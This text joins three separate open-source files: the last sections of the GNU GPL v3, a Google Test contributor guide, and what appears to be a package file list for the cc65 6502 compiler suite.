concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: <program> Copyright (C) <year> <name of author> This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see <http://www.gnu.org/licenses/>. The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read <http://www.gnu.org/philosophy/why-not-lgpl.html>.
{ "pile_set_name": "Github" }
If you are interested in understanding the internals of Google Test, building from source, or contributing ideas or modifications to the project, then this document is for you. # Introduction # First, let's give you some background of the project. ## Licensing ## All Google Test source and pre-built packages are provided under the [New BSD License](http://www.opensource.org/licenses/bsd-license.php). ## The Google Test Community ## The Google Test community exists primarily through the [discussion group](http://groups.google.com/group/googletestframework) and the GitHub repository. You are definitely encouraged to contribute to the discussion and you can also help us to keep the effectiveness of the group high by following and promoting the guidelines listed here. ### Please Be Friendly ### Showing courtesy and respect to others is a vital part of the Google culture, and we strongly encourage everyone participating in Google Test development to join us in accepting nothing less. Of course, being courteous is not the same as failing to constructively disagree with each other, but it does mean that we should be respectful of each other when enumerating the 42 technical reasons that a particular proposal may not be the best choice. There's never a reason to be antagonistic or dismissive toward anyone who is sincerely trying to contribute to a discussion. Sure, C++ testing is serious business and all that, but it's also a lot of fun. Let's keep it that way. Let's strive to be one of the friendliest communities in all of open source. As always, discuss Google Test in the official GoogleTest discussion group. You don't have to actually submit code in order to sign up. Your participation itself is a valuable contribution. # Working with the Code # If you want to get your hands dirty with the code inside Google Test, this is the section for you. ## Compiling from Source ## Once you check out the code, you can find instructions on how to compile it in the [README](../README.md) file. ## Testing ## A testing framework is of no good if itself is not thoroughly tested. Tests should be written for any new code, and changes should be verified to not break existing tests before they are submitted for review. To perform the tests, follow the instructions in [README](../README.md) and verify that there are no failures. # Contributing Code # We are excited that Google Test is now open source, and hope to get great patches from the community. Before you fire up your favorite IDE and begin hammering away at that new feature, though, please take the time to read this section and understand the process. While it seems rigorous, we want to keep a high standard of quality in the code base. ## Contributor License Agreements ## You must sign a Contributor License Agreement (CLA) before we can accept any code. The CLA protects you and us. * If you are an individual writing original source code and you're sure you own the intellectual property, then you'll need to sign an [individual CLA](http://code.google.com/legal/individual-cla-v1.0.html). * If you work for a company that wants to allow you to contribute your work to Google Test, then you'll need to sign a [corporate CLA](http://code.google.com/legal/corporate-cla-v1.0.html). Follow either of the two links above to access the appropriate CLA and instructions for how to sign and return it. ## Coding Style ## To keep the source consistent, readable, diffable and easy to merge, we use a fairly rigid coding style, as defined by the [google-styleguide](http://code.google.com/p/google-styleguide/) project. All patches will be expected to conform to the style outlined [here](http://google-styleguide.googlecode.com/svn/trunk/cppguide.xml). ## Updating Generated Code ## Some of Google Test's source files are generated by the Pump tool (a Python script). If you need to update such files, please modify the source (`foo.h.pump`) and re-generate the C++ file using Pump. You can read the PumpManual for details. ## Submitting Patches ## Please do submit code. Here's what you need to do: 1. A submission should be a set of changes that addresses one issue in the [issue tracker](https://github.com/google/googletest/issues). Please don't mix more than one logical change per submittal, because it makes the history hard to follow. If you want to make a change that doesn't have a corresponding issue in the issue tracker, please create one. 1. Also, coordinate with team members that are listed on the issue in question. This ensures that work isn't being duplicated and communicating your plan early also generally leads to better patches. 1. Ensure that your code adheres to the [Google Test source code style](#Coding_Style.md). 1. Ensure that there are unit tests for your code. 1. Sign a Contributor License Agreement. 1. Create a Pull Request in the usual way. ## Google Test Committers ## The current members of the Google Test engineering team are the only committers at present. In the great tradition of eating one's own dogfood, we will be requiring each new Google Test engineering team member to earn the right to become a committer by following the procedures in this document, writing consistently great code, and demonstrating repeatedly that he or she truly gets the zen of Google Test. # Release Process # We follow a typical release process: 1. A release branch named `release-X.Y` is created. 1. Bugs are fixed and features are added in trunk; those individual patches are merged into the release branch until it's stable. 1. An individual point release (the `Z` in `X.Y.Z`) is made by creating a tag from the branch. 1. Repeat steps 2 and 3 throughout one release cycle (as determined by features or time). 1. Go back to step 1 to create another release branch and so on. --- This page is based on the [Making GWT Better](http://code.google.com/webtoolkit/makinggwtbetter.html) guide from the [Google Web Toolkit](http://code.google.com/webtoolkit/) project. Except as otherwise [noted](http://code.google.com/policies.html#restrictions), the content of this page is licensed under the [Creative Commons Attribution 2.5 License](http://creativecommons.org/licenses/by/2.5/).
{ "pile_set_name": "Github" }
bin/ar65 bin/ca65 bin/cc65 bin/chrcvt65 bin/cl65 bin/co65 bin/da65 bin/grc65 bin/ld65 bin/od65 bin/sim65 bin/sp65 %%DATADIR%%/asminc/_file.inc %%DATADIR%%/asminc/_heap.inc %%DATADIR%%/asminc/accelerator.inc %%DATADIR%%/asminc/apple2.inc %%DATADIR%%/asminc/apple2.mac %%DATADIR%%/asminc/atari.inc %%DATADIR%%/asminc/atari.mac %%DATADIR%%/asminc/atari2600.inc %%DATADIR%%/asminc/atari2600_riot.inc %%DATADIR%%/asminc/atari2600_tia.inc %%DATADIR%%/asminc/atari5200.inc %%DATADIR%%/asminc/atari_antic.inc %%DATADIR%%/asminc/atari_gtia.inc %%DATADIR%%/asminc/atari_pokey.inc %%DATADIR%%/asminc/atmos.inc %%DATADIR%%/asminc/c128.inc %%DATADIR%%/asminc/c16.inc %%DATADIR%%/asminc/c64.inc %%DATADIR%%/asminc/cbm.mac %%DATADIR%%/asminc/cbm_kernal.inc %%DATADIR%%/asminc/cbm510.inc %%DATADIR%%/asminc/cbm610.inc %%DATADIR%%/asminc/cbm_filetype.inc %%DATADIR%%/asminc/cpu.mac %%DATADIR%%/asminc/creativision.inc %%DATADIR%%/asminc/ctype.inc %%DATADIR%%/asminc/em-error.inc %%DATADIR%%/asminc/em-kernel.inc %%DATADIR%%/asminc/errno.inc %%DATADIR%%/asminc/fcntl.inc %%DATADIR%%/asminc/gamate.inc %%DATADIR%%/asminc/generic.mac %%DATADIR%%/asminc/get_tv.inc %%DATADIR%%/asminc/joy-error.inc %%DATADIR%%/asminc/joy-kernel.inc %%DATADIR%%/asminc/longbranch.mac %%DATADIR%%/asminc/lynx.inc %%DATADIR%%/asminc/modload.inc %%DATADIR%%/asminc/module.mac %%DATADIR%%/asminc/mouse-kernel.inc %%DATADIR%%/asminc/nes.inc %%DATADIR%%/asminc/o65.inc %%DATADIR%%/asminc/opcodes.inc %%DATADIR%%/asminc/pce.inc %%DATADIR%%/asminc/pet.inc %%DATADIR%%/asminc/plus4.inc %%DATADIR%%/asminc/ser-error.inc %%DATADIR%%/asminc/ser-kernel.inc %%DATADIR%%/asminc/signal.inc %%DATADIR%%/asminc/smc.inc %%DATADIR%%/asminc/stdio.inc %%DATADIR%%/asminc/supervision.inc %%DATADIR%%/asminc/telestrat.inc %%DATADIR%%/asminc/tgi-error.inc %%DATADIR%%/asminc/tgi-kernel.inc %%DATADIR%%/asminc/tgi-vectorfont.inc %%DATADIR%%/asminc/time.inc %%DATADIR%%/asminc/utsname.inc %%DATADIR%%/asminc/vic20.inc %%DATADIR%%/asminc/zeropage.inc %%DATADIR%%/cfg/apple2-asm.cfg %%DATADIR%%/cfg/apple2-hgr.cfg %%DATADIR%%/cfg/apple2-overlay.cfg %%DATADIR%%/cfg/apple2-system.cfg %%DATADIR%%/cfg/apple2.cfg %%DATADIR%%/cfg/apple2enh-asm.cfg %%DATADIR%%/cfg/apple2enh-hgr.cfg %%DATADIR%%/cfg/apple2enh-overlay.cfg %%DATADIR%%/cfg/apple2enh-system.cfg %%DATADIR%%/cfg/apple2enh.cfg %%DATADIR%%/cfg/atari-asm.cfg %%DATADIR%%/cfg/atari-asm-xex.cfg %%DATADIR%%/cfg/atari-cart.cfg %%DATADIR%%/cfg/atari-cassette.cfg %%DATADIR%%/cfg/atari-overlay.cfg %%DATADIR%%/cfg/atari-xex.cfg %%DATADIR%%/cfg/atari.cfg %%DATADIR%%/cfg/atari2600.cfg %%DATADIR%%/cfg/atari5200.cfg %%DATADIR%%/cfg/atarixl-largehimem.cfg %%DATADIR%%/cfg/atarixl-overlay.cfg %%DATADIR%%/cfg/atarixl-xex.cfg %%DATADIR%%/cfg/atarixl.cfg %%DATADIR%%/cfg/atmos.cfg %%DATADIR%%/cfg/bbc.cfg %%DATADIR%%/cfg/c128-overlay.cfg %%DATADIR%%/cfg/c128.cfg %%DATADIR%%/cfg/c16-32k.cfg %%DATADIR%%/cfg/c16.cfg %%DATADIR%%/cfg/c64-asm.cfg %%DATADIR%%/cfg/c64-overlay.cfg %%DATADIR%%/cfg/c64.cfg %%DATADIR%%/cfg/cbm510.cfg %%DATADIR%%/cfg/cbm610.cfg %%DATADIR%%/cfg/creativision.cfg %%DATADIR%%/cfg/gamate.cfg %%DATADIR%%/cfg/geos-apple.cfg %%DATADIR%%/cfg/geos-cbm.cfg %%DATADIR%%/cfg/lunix.cfg %%DATADIR%%/cfg/lynx-bll.cfg %%DATADIR%%/cfg/lynx-coll.cfg %%DATADIR%%/cfg/lynx-uploader.cfg %%DATADIR%%/cfg/lynx.cfg %%DATADIR%%/cfg/module.cfg %%DATADIR%%/cfg/nes.cfg %%DATADIR%%/cfg/none.cfg %%DATADIR%%/cfg/osic1p-asm.cfg %%DATADIR%%/cfg/osic1p.cfg %%DATADIR%%/cfg/pce.cfg %%DATADIR%%/cfg/pet.cfg %%DATADIR%%/cfg/plus4.cfg %%DATADIR%%/cfg/sim6502.cfg %%DATADIR%%/cfg/sim65c02.cfg %%DATADIR%%/cfg/supervision-128k.cfg %%DATADIR%%/cfg/supervision-16k.cfg %%DATADIR%%/cfg/supervision-64k.cfg %%DATADIR%%/cfg/supervision.cfg %%DATADIR%%/cfg/telestrat.cfg %%DATADIR%%/cfg/vic20-32k.cfg %%DATADIR%%/cfg/vic20.cfg %%DATADIR%%/include/6502.h %%DATADIR%%/include/_6522.h %%DATADIR%%/include/_6525.h %%DATADIR%%/include/_6526.h %%DATADIR%%/include/_6545.h %%DATADIR%%/include/_6551.h %%DATADIR%%/include/_antic.h %%DATADIR%%/include/_atarios.h %%DATADIR%%/include/_gtia.h %%DATADIR%%/include/_heap.h %%DATADIR%%/include/_mikey.h %%DATADIR%%/include/_pbi.h %%DATADIR%%/include/_pia.h %%DATADIR%%/include/_pokey.h %%DATADIR%%/include/_riot.h %%DATADIR%%/include/_sid.h %%DATADIR%%/include/_suzy.h %%DATADIR%%/include/_ted.h %%DATADIR%%/include/_tia.h %%DATADIR%%/include/_vdc.h %%DATADIR%%/include/_vic.h %%DATADIR%%/include/_vic2.h %%DATADIR%%/include/accelerator.h %%DATADIR%%/include/apple2.h %%DATADIR%%/include/apple2_filetype.h %%DATADIR%%/include/apple2enh.h %%DATADIR%%/include/assert.h %%DATADIR%%/include/atari.h %%DATADIR%%/include/atari2600.h %%DATADIR%%/include/atari5200.h %%DATADIR%%/include/atari_atascii_charmap.h %%DATADIR%%/include/atari_screen_charmap.h %%DATADIR%%/include/atmos.h %%DATADIR%%/include/c128.h %%DATADIR%%/include/c16.h %%DATADIR%%/include/c64.h %%DATADIR%%/include/cbm.h %%DATADIR%%/include/cbm_petscii_charmap.h %%DATADIR%%/include/cbm_screen_charmap.h %%DATADIR%%/include/cbm264.h %%DATADIR%%/include/cbm510.h %%DATADIR%%/include/cbm610.h %%DATADIR%%/include/cbm_filetype.h %%DATADIR%%/include/cc65.h %%DATADIR%%/include/conio.h %%DATADIR%%/include/creativision.h %%DATADIR%%/include/ctype.h %%DATADIR%%/include/dbg.h %%DATADIR%%/include/device.h %%DATADIR%%/include/dio.h %%DATADIR%%/include/dirent.h %%DATADIR%%/include/em.h %%DATADIR%%/include/em/em-kernel.h %%DATADIR%%/include/errno.h %%DATADIR%%/include/fcntl.h %%DATADIR%%/include/gamate.h %%DATADIR%%/include/geos.h %%DATADIR%%/include/geos/gconst.h %%DATADIR%%/include/geos/gdisk.h %%DATADIR%%/include/geos/gdlgbox.h %%DATADIR%%/include/geos/gfile.h %%DATADIR%%/include/geos/ggraph.h %%DATADIR%%/include/geos/gmemory.h %%DATADIR%%/include/geos/gmenu.h %%DATADIR%%/include/geos/gprocess.h %%DATADIR%%/include/geos/gsprite.h %%DATADIR%%/include/geos/gstruct.h %%DATADIR%%/include/geos/gsym.h %%DATADIR%%/include/geos/gsys.h %%DATADIR%%/include/inttypes.h %%DATADIR%%/include/iso646.h %%DATADIR%%/include/joystick.h %%DATADIR%%/include/joystick/joy-kernel.h %%DATADIR%%/include/limits.h %%DATADIR%%/include/locale.h %%DATADIR%%/include/lynx.h %%DATADIR%%/include/lz4.h %%DATADIR%%/include/modload.h %%DATADIR%%/include/mouse.h %%DATADIR%%/include/mouse/mouse-kernel.h %%DATADIR%%/include/nes.h %%DATADIR%%/include/o65.h %%DATADIR%%/include/osic1p.h %%DATADIR%%/include/pce.h %%DATADIR%%/include/peekpoke.h %%DATADIR%%/include/pen.h %%DATADIR%%/include/pet.h %%DATADIR%%/include/plus4.h %%DATADIR%%/include/serial.h %%DATADIR%%/include/setjmp.h %%DATADIR%%/include/signal.h %%DATADIR%%/include/stdarg.h %%DATADIR%%/include/stdbool.h %%DATADIR%%/include/stddef.h %%DATADIR%%/include/stdint.h %%DATADIR%%/include/stdio.h %%DATADIR%%/include/stdlib.h %%DATADIR%%/include/string.h %%DATADIR%%/include/supervision.h %%DATADIR%%/include/sys/stat.h %%DATADIR%%/include/sys/types.h %%DATADIR%%/include/sys/utsname.h %%DATADIR%%/include/target.h %%DATADIR%%/include/telestrat.h %%DATADIR%%/include/tgi.h %%DATADIR%%/include/tgi/tgi-error.h %%DATADIR%%/include/tgi/tgi-kernel.h %%DATADIR%%/include/tgi/tgi-vectorfont.h %%DATADIR%%/include/time.h %%DATADIR%%/include/unistd.h %%DATADIR%%/include/vic20.h %%DATADIR%%/include/zlib.h %%DATADIR%%/lib/apple2-iobuf-0800.o %%DATADIR%%/lib/apple2.lib %%DATADIR%%/lib/apple2enh-iobuf-0800.o %%DATADIR%%/lib/apple2enh.lib %%DATADIR%%/lib/atari.lib %%DATADIR%%/lib/atari2600.lib %%DATADIR%%/lib/atari5200.lib %%DATADIR%%/lib/atari5200-conioscreen-20x12.o %%DATADIR%%/lib/atarixl.lib %%DATADIR%%/lib/atmos.lib %%DATADIR%%/lib/c128.lib %%DATADIR%%/lib/c16.lib %%DATADIR%%/lib/c64-soft80.o %%DATADIR%%/lib/c64-soft80mono.o %%DATADIR%%/lib/c64-tgimousedata.o %%DATADIR%%/lib/c64.lib %%DATADIR%%/lib/cbm510.lib %%DATADIR%%/lib/cbm610.lib %%DATADIR%%/lib/creativision.lib %%DATADIR%%/lib/gamate.lib %%DATADIR%%/lib/geos-apple.lib %%DATADIR%%/lib/geos-cbm.lib %%DATADIR%%/lib/lynx.lib %%DATADIR%%/lib/nes.lib %%DATADIR%%/lib/none.lib %%DATADIR%%/lib/osic1p-screen-s3-32x28.o %%DATADIR%%/lib/osic1p.lib %%DATADIR%%/lib/pce.lib %%DATADIR%%/lib/pet.lib %%DATADIR%%/lib/plus4.lib %%DATADIR%%/lib/sim6502.lib %%DATADIR%%/lib/sim65c02.lib %%DATADIR%%/lib/supervision.lib %%DATADIR%%/lib/telestrat.lib %%DATADIR%%/lib/vic20.lib %%DATADIR%%/target/apple2/drv/emd/a2.auxmem.emd %%DATADIR%%/target/apple2/drv/joy/a2.stdjoy.joy %%DATADIR%%/target/apple2/drv/mou/a2.stdmou.mou %%DATADIR%%/target/apple2/drv/ser/a2.ssc.ser %%DATADIR%%/target/apple2/drv/tgi/a2.hi.tgi %%DATADIR%%/target/apple2/drv/tgi/a2.lo.tgi %%DATADIR%%/target/apple2/util/loader.system %%DATADIR%%/target/apple2enh/drv/emd/a2e.auxmem.emd %%DATADIR%%/target/apple2enh/drv/joy/a2e.stdjoy.joy %%DATADIR%%/target/apple2enh/drv/mou/a2e.stdmou.mou %%DATADIR%%/target/apple2enh/drv/ser/a2e.ssc.ser %%DATADIR%%/target/apple2enh/drv/tgi/a2e.hi.tgi %%DATADIR%%/target/apple2enh/drv/tgi/a2e.lo.tgi %%DATADIR%%/target/apple2enh/util/loader.system %%DATADIR%%/target/atari/drv/emd/atr130.emd %%DATADIR%%/target/atari/drv/joy/atrmj8.joy %%DATADIR%%/target/atari/drv/joy/atrstd.joy %%DATADIR%%/target/atari/drv/mou/atrami.mou %%DATADIR%%/target/atari/drv/mou/atrjoy.mou %%DATADIR%%/target/atari/drv/mou/atrst.mou %%DATADIR%%/target/atari/drv/mou/atrtrk.mou %%DATADIR%%/target/atari/drv/mou/atrtt.mou %%DATADIR%%/target/atari/drv/ser/atrrdev.ser %%DATADIR%%/target/atari/drv/tgi/atr10.tgi %%DATADIR%%/target/atari/drv/tgi/atr10p2.tgi %%DATADIR%%/target/atari/drv/tgi/atr11.tgi %%DATADIR%%/target/atari/drv/tgi/atr14.tgi %%DATADIR%%/target/atari/drv/tgi/atr15.tgi %%DATADIR%%/target/atari/drv/tgi/atr15p2.tgi %%DATADIR%%/target/atari/drv/tgi/atr3.tgi %%DATADIR%%/target/atari/drv/tgi/atr4.tgi %%DATADIR%%/target/atari/drv/tgi/atr5.tgi %%DATADIR%%/target/atari/drv/tgi/atr6.tgi %%DATADIR%%/target/atari/drv/tgi/atr7.tgi %%DATADIR%%/target/atari/drv/tgi/atr8.tgi %%DATADIR%%/target/atari/drv/tgi/atr8p2.tgi %%DATADIR%%/target/atari/drv/tgi/atr9.tgi %%DATADIR%%/target/atari/drv/tgi/atr9p2.tgi %%DATADIR%%/target/atari/util/w2cas.com %%DATADIR%%/target/atari5200/drv/joy/atr5200std.joy %%DATADIR%%/target/atarixl/drv/emd/atrx130.emd %%DATADIR%%/target/atarixl/drv/joy/atrxmj8.joy %%DATADIR%%/target/atarixl/drv/joy/atrxstd.joy %%DATADIR%%/target/atarixl/drv/mou/atrxami.mou %%DATADIR%%/target/atarixl/drv/mou/atrxjoy.mou %%DATADIR%%/target/atarixl/drv/mou/atrxst.mou %%DATADIR%%/target/atarixl/drv/mou/atrxtrk.mou %%DATADIR%%/target/atarixl/drv/mou/atrxtt.mou %%DATADIR%%/target/atarixl/drv/ser/atrxrdev.ser %%DATADIR%%/target/atarixl/drv/tgi/atrx10.tgi %%DATADIR%%/target/atarixl/drv/tgi/atrx10p2.tgi %%DATADIR%%/target/atarixl/drv/tgi/atrx11.tgi %%DATADIR%%/target/atarixl/drv/tgi/atrx14.tgi %%DATADIR%%/target/atarixl/drv/tgi/atrx15.tgi %%DATADIR%%/target/atarixl/drv/tgi/atrx15p2.tgi %%DATADIR%%/target/atarixl/drv/tgi/atrx3.tgi %%DATADIR%%/target/atarixl/drv/tgi/atrx4.tgi %%DATADIR%%/target/atarixl/drv/tgi/atrx5.tgi %%DATADIR%%/target/atarixl/drv/tgi/atrx6.tgi %%DATADIR%%/target/atarixl/drv/tgi/atrx7.tgi %%DATADIR%%/target/atarixl/drv/tgi/atrx8.tgi %%DATADIR%%/target/atarixl/drv/tgi/atrx8p2.tgi %%DATADIR%%/target/atarixl/drv/tgi/atrx9.tgi %%DATADIR%%/target/atarixl/drv/tgi/atrx9p2.tgi %%DATADIR%%/target/atmos/drv/joy/atmos-ijk.joy %%DATADIR%%/target/atmos/drv/joy/atmos-pase.joy %%DATADIR%%/target/atmos/drv/ser/atmos-acia.ser %%DATADIR%%/target/atmos/drv/tgi/atmos-228-200-3.tgi %%DATADIR%%/target/atmos/drv/tgi/atmos-240-200-2.tgi %%DATADIR%%/target/c128/drv/emd/c128-efnram.emd %%DATADIR%%/target/c128/drv/emd/c128-georam.emd %%DATADIR%%/target/c128/drv/emd/c128-ifnram.emd %%DATADIR%%/target/c128/drv/emd/c128-ram.emd %%DATADIR%%/target/c128/drv/emd/c128-ram2.emd %%DATADIR%%/target/c128/drv/emd/c128-ramcart.emd %%DATADIR%%/target/c128/drv/emd/c128-reu.emd %%DATADIR%%/target/c128/drv/emd/c128-vdc.emd %%DATADIR%%/target/c128/drv/joy/c128-ptvjoy.joy %%DATADIR%%/target/c128/drv/joy/c128-stdjoy.joy %%DATADIR%%/target/c128/drv/mou/c128-1351.mou %%DATADIR%%/target/c128/drv/tgi/c128-hi.tgi %%DATADIR%%/target/c128/drv/mou/c128-inkwell.mou %%DATADIR%%/target/c128/drv/mou/c128-joy.mou %%DATADIR%%/target/c128/drv/mou/c128-pot.mou %%DATADIR%%/target/c128/drv/ser/c128-swlink.ser %%DATADIR%%/target/c128/drv/tgi/c128-vdc.tgi %%DATADIR%%/target/c128/drv/tgi/c128-vdc2.tgi %%DATADIR%%/target/c16/drv/emd/c16-ram.emd %%DATADIR%%/target/c16/drv/joy/c16-stdjoy.joy %%DATADIR%%/target/c64/drv/emd/c64-65816.emd %%DATADIR%%/target/c64/drv/emd/c64-c256k.emd %%DATADIR%%/target/c64/drv/emd/c64-dqbb.emd %%DATADIR%%/target/c64/drv/emd/c64-georam.emd %%DATADIR%%/target/c64/drv/emd/c64-isepic.emd %%DATADIR%%/target/c64/drv/emd/c64-ram.emd %%DATADIR%%/target/c64/drv/emd/c64-ramcart.emd %%DATADIR%%/target/c64/drv/emd/c64-reu.emd %%DATADIR%%/target/c64/drv/emd/c64-vdc.emd %%DATADIR%%/target/c64/drv/emd/dtv-himem.emd %%DATADIR%%/target/c64/drv/joy/c64-hitjoy.joy %%DATADIR%%/target/c64/drv/joy/c64-numpad.joy %%DATADIR%%/target/c64/drv/joy/c64-ptvjoy.joy %%DATADIR%%/target/c64/drv/joy/c64-stdjoy.joy %%DATADIR%%/target/c64/drv/mou/c64-1351.mou %%DATADIR%%/target/c64/drv/mou/c64-inkwell.mou %%DATADIR%%/target/c64/drv/mou/c64-joy.mou %%DATADIR%%/target/c64/drv/mou/c64-pot.mou %%DATADIR%%/target/c64/drv/ser/c64-swlink.ser %%DATADIR%%/target/c64/drv/tgi/c64-hi.tgi %%DATADIR%%/target/cbm510/drv/emd/cbm510-ram.emd %%DATADIR%%/target/cbm510/drv/joy/cbm510-std.joy %%DATADIR%%/target/cbm510/drv/mou/cbm510-inkwl.mou %%DATADIR%%/target/cbm510/drv/mou/cbm510-joy.mou %%DATADIR%%/target/cbm510/drv/ser/cbm510-std.ser %%DATADIR%%/target/cbm610/drv/emd/cbm610-ram.emd %%DATADIR%%/target/cbm610/drv/ser/cbm610-std.ser %%DATADIR%%/target/creativision/drv/joy/creativision-stdjoy.joy %%DATADIR%%/target/gamate/drv/joy/gamate-stdjoy.joy %%DATADIR%%/target/geos-apple/util/convert.system %%DATADIR%%/target/geos-cbm/drv/emd/geos-vdc.emd %%DATADIR%%/target/geos-cbm/drv/joy/geos-stdjoy.joy %%DATADIR%%/target/geos-cbm/drv/tgi/geos-tgi.tgi %%DATADIR%%/target/lynx/drv/joy/lynx-stdjoy.joy %%DATADIR%%/target/lynx/drv/ser/lynx-comlynx.ser %%DATADIR%%/target/lynx/drv/tgi/lynx-160-102-16.tgi %%DATADIR%%/target/nes/drv/joy/nes-stdjoy.joy %%DATADIR%%/target/nes/drv/tgi/nes-64-56-2.tgi %%DATADIR%%/target/pce/drv/joy/pce-stdjoy.joy %%DATADIR%%/target/pet/drv/joy/pet-ptvjoy.joy %%DATADIR%%/target/pet/drv/joy/pet-stdjoy.joy %%DATADIR%%/target/plus4/drv/joy/plus4-stdjoy.joy %%DATADIR%%/target/plus4/drv/ser/plus4-stdser.ser %%DATADIR%%/target/supervision/drv/joy/supervision-stdjoy.joy %%DATADIR%%/target/telestrat/drv/tgi/telestrat-228-200-3.tgi %%DATADIR%%/target/telestrat/drv/tgi/telestrat-240-200-2.tgi %%DATADIR%%/target/vic20/drv/joy/vic20-ptvjoy.joy %%DATADIR%%/target/vic20/drv/joy/vic20-stdjoy.joy %%DATADIR%%/target/vic20/drv/emd/vic20-georam.emd %%DATADIR%%/target/vic20/drv/emd/vic20-rama.emd %%PORTDOCS%%%%DOCSDIR%%/html/apple2.html %%PORTDOCS%%%%DOCSDIR%%/html/apple2enh.html %%PORTDOCS%%%%DOCSDIR%%/html/ar65.html %%PORTDOCS%%%%DOCSDIR%%/html/atari.html %%PORTDOCS%%%%DOCSDIR%%/html/atari2600.html %%PORTDOCS%%%%DOCSDIR%%/html/atari5200.html %%PORTDOCS%%%%DOCSDIR%%/html/atmos.html %%PORTDOCS%%%%DOCSDIR%%/html/c128.html %%PORTDOCS%%%%DOCSDIR%%/html/c16.html %%PORTDOCS%%%%DOCSDIR%%/html/c64.html %%PORTDOCS%%%%DOCSDIR%%/html/ca65.html %%PORTDOCS%%%%DOCSDIR%%/html/cbm510.html %%PORTDOCS%%%%DOCSDIR%%/html/cbm610.html %%PORTDOCS%%%%DOCSDIR%%/html/cc65-intern.html %%PORTDOCS%%%%DOCSDIR%%/html/cc65.html %%PORTDOCS%%%%DOCSDIR%%/html/chrcvt65.html %%PORTDOCS%%%%DOCSDIR%%/html/cl65.html %%PORTDOCS%%%%DOCSDIR%%/html/co65.html %%PORTDOCS%%%%DOCSDIR%%/html/coding.html %%PORTDOCS%%%%DOCSDIR%%/html/creativision.html %%PORTDOCS%%%%DOCSDIR%%/html/customizing.html %%PORTDOCS%%%%DOCSDIR%%/html/da65.html %%PORTDOCS%%%%DOCSDIR%%/html/debugging.html %%PORTDOCS%%%%DOCSDIR%%/html/dio.html %%PORTDOCS%%%%DOCSDIR%%/html/doc.css %%PORTDOCS%%%%DOCSDIR%%/html/doc.png %%PORTDOCS%%%%DOCSDIR%%/html/funcref.html %%PORTDOCS%%%%DOCSDIR%%/html/gamate.html %%PORTDOCS%%%%DOCSDIR%%/html/geos.html %%PORTDOCS%%%%DOCSDIR%%/html/grc65.html %%PORTDOCS%%%%DOCSDIR%%/html/index.html %%PORTDOCS%%%%DOCSDIR%%/html/intro.html %%PORTDOCS%%%%DOCSDIR%%/html/ld65.html %%PORTDOCS%%%%DOCSDIR%%/html/library.html %%PORTDOCS%%%%DOCSDIR%%/html/lynx.html %%PORTDOCS%%%%DOCSDIR%%/html/nes.html %%PORTDOCS%%%%DOCSDIR%%/html/od65.html %%PORTDOCS%%%%DOCSDIR%%/html/osi.html %%PORTDOCS%%%%DOCSDIR%%/html/pce.html %%PORTDOCS%%%%DOCSDIR%%/html/pet.html %%PORTDOCS%%%%DOCSDIR%%/html/plus4.html %%PORTDOCS%%%%DOCSDIR%%/html/sim65.html 